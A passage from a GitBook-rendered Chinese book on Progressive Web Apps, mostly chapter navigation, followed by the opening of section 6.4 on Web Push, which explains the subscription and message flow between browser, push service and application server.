               <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"1-manifest-json.html\">\n            \n                <a href=\"1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"2-credentials-api.html\">\n            \n                <a href=\"2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"3-notification-api.html\">\n            \n                <a href=\"3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.7.4\" data-path=\"4-web-push-api.html\">\n            \n                <a href=\"4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"5-payment-request-api.html\">\n            \n                <a href=\"5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >6.4 网络推送</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x7F51;&#x7EDC;&#x63A8;&#x9001;\"><b></b>&#x7F51;&#x7EDC;&#x63A8;&#x9001;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x63A8;&#x9001;&#x6D41;&#x7A0B;\"><b></b>&#x63A8;&#x9001;&#x6D41;&#x7A0B;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x8BA2;&#x9605;&#x63A8;&#x9001;\"><b></b>&#x8BA2;&#x9605;&#x63A8;&#x9001;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x4F7F;&#x7528;-vapid\"><b></b>&#x4F7F;&#x7528; VAPID</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6D88;&#x606F;&#x63A8;&#x9001;\"><b></b>&#x6D88;&#x606F;&#x63A8;&#x9001;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x6D4F;&#x89C8;&#x5668;&#x63A5;&#x6536;&#x63A8;&#x9001;&#x6D88;&#x606F;\"><b></b>&#x6D4F;&#x89C8;&#x5668;&#x63A5;&#x6536;&#x63A8;&#x9001;&#x6D88;&#x606F;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x63A8;&#x9001;&#x6D88;&#x606F;\"><b></b>&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x63A8;&#x9001;&#x6D88;&#x606F;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x53D6;&#x6D88;&#x8BA2;&#x9605;\"><b></b>&#x53D6;&#x6D88;&#x8BA2;&#x9605;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x7ED3;&#x5408;-notification-&#x5B9E;&#x73B0;&#x79BB;&#x7EBF;&#x901A;&#x77E5;&#x63A8;&#x9001;\"><b></b>&#x7ED3;&#x5408; Notification &#x5B9E;&#x73B0;&#x79BB;&#x7EBF;&#x901A;&#x77E5;&#x63A8;&#x9001;</a></li></ul></ul></div><a href=\"#&#x7F51;&#x7EDC;&#x63A8;&#x9001;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x7F51;&#x7EDC;&#x63A8;&#x9001;\"><a name=\"&#x7F51;&#x7EDC;&#x63A8;&#x9001;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7F51;&#x7EDC;&#x63A8;&#x9001;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7F51;&#x7EDC;&#x63A8;&#x9001;\" class=\"plugin-anchor\" href=\"#&#x7F51;&#x7EDC;&#x63A8;&#x9001;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7F51;&#x7EDC;&#x63A8;&#x9001;</h1>\n<p>&#x5728;&#x4E0A;&#x4E00;&#x8282;&#x6211;&#x4EEC;&#x5DF2;&#x7ECF;&#x4ECB;&#x7ECD;&#x4E86;&#x4F7F;&#x7528; Notification API &#x5982;&#x4F55;&#x521B;&#x5EFA;&#x63A8;&#x9001;&#x5E76;&#x5C55;&#x793A;&#x7ED9;&#x7528;&#x6237;&#xFF0C;&#x4F46;&#x662F;&#x5F53;&#x6D4F;&#x89C8;&#x5668;&#x6CA1;&#x6709;&#x6253;&#x5F00;&#xFF0C;Service Worker &#x5904;&#x4E8E;&#x4F11;&#x7720;&#x72B6;&#x6001;&#x65F6;&#xFF0C;&#x5982;&#x4F55;&#x5C06;&#x901A;&#x77E5;&#x63A8;&#x9001;&#x7ED9;&#x7528;&#x6237;&#x5462;&#xFF1F;Native App &#x5F88;&#x65E9;&#x5C31;&#x5B9E;&#x73B0;&#x4E86;&#x79BB;&#x7EBF;&#x901A;&#x77E5;&#xFF0C;&#x7528;&#x6237;&#x5728;&#x6CA1;&#x6709;&#x6253;&#x5F00;&#x5E94;&#x7528;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x4E5F;&#x80FD;&#x591F;&#x63A5;&#x6536;&#x5230;&#x63A8;&#x9001;&#x7684;&#x5185;&#x5BB9;&#x5E76;&#x4E14;&#x5728;&#x901A;&#x77E5;&#x680F;&#x5C55;&#x73B0;&#x51FA;&#x6765;&#x3002;&#x73B0;&#x5728; Web App &#x4F7F;&#x7528; Push API &#x4E5F;&#x53EF;&#x4EE5;&#x5B9E;&#x73B0;&#x79BB;&#x7EBF;&#x63A5;&#x6536;&#x6D88;&#x606F;&#x3002;</p>\n<p>Push API &#x548C; Notification API &#x662F;&#x4E0D;&#x540C;&#x4F46;&#x4E92;&#x8865;&#x7684;&#x529F;&#x80FD;&#xFF0C;Push API &#x662F;&#x7528;&#x4E8E;&#x8BA2;&#x9605;&#x5E76;&#x63A8;&#x9001;&#x6D88;&#x606F;&#x7ED9; Service Worker&#xFF0C;&#x800C; Notification API &#x7528;&#x4E8E;&#x4ECE; Service Worker &#x53D1;&#x9001;&#x6D88;&#x606F;&#x7ED9;&#x7528;&#x6237;&#x3002;</p>\n<p>&#x4E00;&#x4E2A;&#x5B8C;&#x6574;&#x7684; Web Push &#x6D41;&#x7A0B;&#xFF0C;&#x53EA;&#x6709;&#x6D4F;&#x89C8;&#x5668;&#x662F;&#x4E0D;&#x591F;&#x7684;&#xFF0C;&#x8FD8;&#x9700;&#x8981;&#x670D;&#x52A1;&#x7AEF;&#x53D1;&#x9001;&#x6D88;&#x606F;&#x3002;&#x5728;&#x672C;&#x8282;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x4E0D;&#x4EC5;&#x4F1A;&#x4ECB;&#x7ECD;&#x6D88;&#x606F;&#x63A8;&#x9001;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x7AEF;\b&#x76F8;&#x5173;&#x7684;&#x7EC6;&#x8282;&#xFF0C;&#x8FD8;&#x4F1A;&#x5B9E;&#x73B0;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684; Node.js &#x670D;&#x52A1;&#x7AEF;&#x6765;&#x63A8;&#x9001;&#x6D88;&#x606F;&#x3002;</p>\n<h2 id=\"&#x63A8;&#x9001;&#x6D41;&#x7A0B;\"><a name=\"&#x63A8;&#x9001;&#x6D41;&#x7A0B;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x63A8;&#x9001;&#x6D41;&#x7A0B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x63A8;&#x9001;&#x6D41;&#x7A0B;\" class=\"plugin-anchor\" href=\"#&#x63A8;&#x9001;&#x6D41;&#x7A0B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x63A8;&#x9001;&#x6D41;&#x7A0B;</h2>\n<p>&#x5728;&#x4ECB;&#x7ECD; Push API &#x7684;&#x7528;&#x6CD5;&#x4E4B;&#x524D;&#xFF0C;&#x9996;&#x5148;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x4E86;&#x89E3;&#x4E00;&#x4E0B;&#x5EFA;&#x7ACB;&#x7F51;&#x7EDC;&#x63A8;&#x9001;&#x7684;&#x57FA;&#x672C;&#x6D41;&#x7A0B;&#x3002;</p>\n<p>&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x7684;&#x6D41;&#x7A0B;&#x56FE;&#x51FA;&#x81EA; <a href=\"https://tools.ietf.org/html/draft-ietf-webpush-protocol-12#section-2\" target=\"_blank\">Web Push &#x534F;&#x8BAE;&#x8349;&#x6848;</a>&#xFF0C;&#x5C55;&#x793A;&#x7F51;&#x7EDC;&#x63A8;&#x9001;&#x5B9E;&#x73B0;&#x7684;&#x6574;&#x4E2A;&#x57FA;&#x672C;&#x6D41;&#x7A0B;&#x3002;Web Push &#x534F;&#x8BAE;&#x662F;&#x53D1;&#x9001;&#x63A8;&#x9001;&#x6D88;&#x606F;&#x5230;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x534F;&#x8BAE;&#x6807;&#x51C6;&#x3002;&#x5B83;&#x63CF;&#x8FF0;&#x4E86;&#x5982;&#x4F55;&#x521B;&#x5EFA;&#x63A8;&#x9001;&#x6D88;&#x606F;&#xFF0C;&#x52A0;&#x5BC6;&#x63A8;&#x9001;&#x6D88;&#x606F;&#x5E76;&#x5C06;&#x5176;&#x53D1;&#x9001;&#x5230;&#x63A8;&#x9001;&#x6D88;&#x606F;&#x4F20;&#x9012;&#x5E73;&#x53F0;&#x7684;&#x7ED3;&#x6784;&#x548C;&#x6D41;&#x7A0B;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-bash\">    +-------+           +--------------+       +-------------+\n    <span class=\"token operator\">|</span>  UA   <span class=\"token operator\">|</span>           <span class=\"token operator\">|</span> Push Service <span class=\"token operator\">|</span>       <span class=\"token operator\">|</span> Application <span class=\"token operator\">|</span>\n    +-------+           +--------------+       <span class=\"token operator\">|</span>   Server    <span class=\"token operator\">|</span>\n        <span class=\"token operator\">|</span>                      <span class=\"token operator\">|</span>               +-------------+\n        <span class=\"token operator\">|</span>      Subscribe       <span class=\"token operator\">|</span>                      <span class=\"token operator\">|</span>\n        <span class=\"token operator\">|</span>---------------------<span class=\"token operator\">&gt;</span><span class=\"token operator\">|</span>                      <span class=\"token operator\">|</span>\n        <span class=\"token operator\">|</span>       Monitor        <span class=\"token operator\">|</span>                      <span class=\"token operator\">|</span>\n        <span class=\"token operator\">|</span><span class=\"token operator\">&lt;=</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">==</span><span class=\"token operator\">=</span><span class=\"token operator\">&gt;</span><span class=\"token operator\">|</span>                      <span class=\"token operator\">|</span>\n        <span class=\"token operator\">|</span>                      <span class=\"token operator\">|</span>                      <span class=\"token operator\">|</span>\n        <span class=\"token operator\">|</span>          Distribute Push Resource           <span class=\"token operator\">|</span>\n        <span class=\"token operator\">|</span>--------------------------------------------<span class=\"token operator\">&gt;</span><span class=\"token operator\">|</span>\n        <span class=\"token operator\">|</span>                      <span class=\"token operator\">|</span>                      <span class=\"token operator\">|</span>\n        <span class=\"token keyword\">:</span>                      <span class=\"token keyword\">:</span>                      <span class=\"token keyword\">:</span>\n        <span class=\"token operator\">|</span>                      <span class=\"token operator\">|</span>     Push Message     <span class=\"token operator\">|</span>\n        <span class=\"token operator\">|</span>    Push Message      <span class=\"token operator\">|</span><span class=\"token operator\">&lt;</span>---------------------<span class=\"token operator\">|</span>\n        <span class=\"token operator\">|</span><span class=\"token operator\">&lt;</span>---------------------<span class=\"token operator\">|</span>                      <span class=\"token operator\">|</span>\n        <span class=\"token operator\">|</span>                      <span class=\"token operator\">|</span>                      <span class=\"token operator\">|</span>\n</code></pre>\n<p>&#x4ECE;&#x56FE;&#x4E2D;&#x53EF;&#x4EE5;&#x770B;&#x51FA;&#xFF0C;&#x7F51;&#x7EDC;&#x63A8;&#x9001;&#x7684;&#x5EFA;&#x7ACB;&#x6D89;&#x53CA;&#x5230;&#x4E09;&#x7AEF;&#x7684;&#x76F8;&#x4E92;&#x914D;&#x5408;&#xFF0C;&#x5206;&#x522B;&#x662F;&#xFF1A;</p>\n<ol>\n<li>UA&#xFF08;User Agent&#xFF09;&#xFF0C;&#x5373;&#x6D4F;&#x89C8;&#x5668;&#xFF1B;</li>\n<li>Push Service&#xFF0C;&#x5373;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#xFF0C;&#x7528;&#x4E8E;&#x7BA1;&#x7406;&#x63A8;&#x9001;&#x8BA2;&#x9605;&#x3001;&#x6D88;&#x606F;&#x63A8;&#x9001;&#x7B49;&#x529F;&#x80FD;&#x7684;&#x7B2C;&#x4E09;&#x65B9;&#x670D;&#x52A1;&#x5668;&#x3002;&#x8BE5;&#x670D;&#x52A1;&#x5668;&#x662F;&#x6D4F;&#x89C8;&#x5668;&#x51B3;&#x5B9A;&#x7684;&#xFF1B;</li>\n<li>Application Server&#xFF0C;&#x5373;&#x7F51;&#x7AD9;&#x5E94;&#x7528;&#x7684;&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x3002;</li>\n</ol>\n<p>&#x7F51;&#x7EDC;&#x63A8;&#x9001;&#x7684;&#x8FC7;&#x7A0B;&#x4E2D;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x548C;&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x5E76;&#x4E0D;&#x662F;&#x76F4;&#x63A5;&#x63A5;&#x89E6;&#x7684;&#xFF0C;&#x9700;&#x8981;&#x901A;&#x8FC7;&#x6D4F;&#x89C8;&#x5668;&#x6307;&#x5B9A;&#x7684;&#x7B2C;&#x4E09;&#x65B9;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x8FDB;&#x884C;&#x6D88;&#x606F;&#x4E2D;&#x8F6C;&#x3002;</p>\n<p>&#x4ECE;&#x5177;&#x4F53;&#x7684;&#x63A8;&#x9001;&#x6B65;&#x9AA4;&#x4E0A;&#x8FDB;&#x884C;&#x5212;&#x5206;&#xFF0C;&#x53C8;&#x53EF;&#x4EE5;&#x5206;&#x6210;&#x8BA2;&#x9605;&#xFF08;Subscribe&#xFF09;&#x4E0E;&#x63A8;&#x9001;&#xFF08;Push Message&#xFF09;&#x4E24;&#x4E2A;&#x90E8;&#x5206;&#x3002;</p>\n<p>&#x5176;&#x4E2D;&#x8BA2;&#x9605;&#x90E8;&#x5206;&#x5305;&#x542B;&#x4EE5;&#x4E0B;&#x6B65;&#x9AA4;&#xFF1A;</p>\n<ol>\n<li>Subscribe&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x9700;&#x8981;&#x5411;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x53D1;&#x8D77;&#x63A8;&#x9001;&#x8BA2;&#x9605;&#x7684;&#x8BF7;&#x6C42;&#xFF1B;</li>\n<li>Monitor&#xFF0C;&#x8BA2;&#x9605;&#x6210;&#x529F;&#x4E4B;&#x540E;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4E0E;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x4E4B;&#x95F4;&#x4F1A;&#x8FDB;&#x884C;&#x901A;&#x4FE1;&#xFF0C;&#x540C;&#x65F6;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x4F1A;&#x751F;&#x6210;&#x5E76;&#x7EF4;&#x62A4;&#x76F8;&#x5173;&#x8BA2;&#x9605;&#x4FE1;&#x606F;&#xFF0C;&#x5728;&#x540E;&#x7EED;&#x7684;&#x6D88;&#x606F;&#x63A8;&#x9001;&#x6D41;&#x7A0B;&#x5C06;&#x57FA;&#x4E8E;&#x8BE5;&#x8BA2;&#x9605;&#x4FE1;&#x606F;&#x4E0E;&#x6D4F;&#x89C8;&#x5668;&#x4FDD;&#x6301;&#x901A;&#x4FE1;&#xFF1B;</li>\n<li>Distribute Push Resource&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x5C06;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x8FD4;&#x56DE;&#x7684;&#x8BA2;&#x9605;&#x4FE1;&#x606F;&#x53D1;&#x9001;&#x7ED9;&#x7F51;&#x7AD9;&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x8FDB;&#x884C;&#x4FDD;&#x5B58;&#xFF0C;&#x670D;&#x52A1;&#x7AEF;&#x5C06;&#x57FA;&#x4E8E;&#x8BE5;&#x8BA2;&#x9605;&#x4FE1;&#x606F;&#x5411;&#x63A8;&#x9001;&#x670D;&#x52A1;&#x5668;&#x53D1;&#x8D77;&#x6D88;&#x606F;&#x63A8;&#x9001;&#x3002;</li>\n</ol>\n<p>&#x800C;&#x63A8;&#x9001;&#x90E8;&#x5206;&#x4E3B;&#x8981;&#x5206;&#x4E3A;&#x4E24;&#x6B65;&#xFF1A;</p>\n<ol>\n<li>&#x540E;&#x7AEF;&#x670D;&#x52A1;&#x901A;&#x8FC7; Web Push 